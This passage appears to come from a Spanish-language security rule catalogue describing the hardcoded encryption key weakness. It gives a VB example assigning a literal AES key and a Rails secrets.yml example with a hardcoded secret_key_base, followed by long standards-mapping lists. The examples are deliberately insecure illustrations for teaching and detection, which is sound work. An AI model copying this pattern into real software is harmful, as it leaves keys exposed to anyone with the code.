[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.regex.universal.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
La codificación rígida de una clave de cifrado nunca es una buena idea porque permite que todos los desarrolladores del proyecto puedan ver la clave de cifrado y dificulta en gran manera la solución del problema. Una vez que el código está en fase de producción, se requiere una revisión del software para cambiar la clave de cifrado. Si la cuenta protegida por la clave de cifrado se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente utiliza una clave de cifrado codificada de forma rígida:


...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...


Cualquiera que tenga acceso al código, tendrá acceso también a la clave de cifrado. Una vez que se ha enviado la aplicación, no hay forma de cambiar la clave de cifrado, a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación podrían extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.vb.key_management_hardcoded_encryption_key
Abstract
Las claves de cifrado con codificación rígida pueden poner en riesgo la seguridad de una forma que no es fácil resolver.
Explanation
Nunca codifique una clave de cifrado porque hace que la clave de cifrado sea visible para todos los desarrolladores del proyecto y que solucionar el problema sea extremadamente difícil. Para cambiar la clave de cifrado después de que el código esté en producción se necesita una revisión de software. Si la cuenta que protege la clave de cifrado se ve comprometida, el propietario del sistema debe elegir entre seguridad y disponibilidad.

Ejemplo 1: El siguiente ejemplo muestra una clave de cifrado dentro del archivo secrets.yml de una configuración de Ruby on Rails:


...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...


Cualquiera que tenga acceso al código puede ver la clave de cifrado. Una vez distribuida la aplicación, no hay forma de cambiar la clave de cifrado a menos que se aplique una revisión al programa. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Cualquier atacante con acceso al ejecutable de la aplicación puede extraer el valor de la clave de cifrado.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.yaml.key_management_hardcoded_encryption_key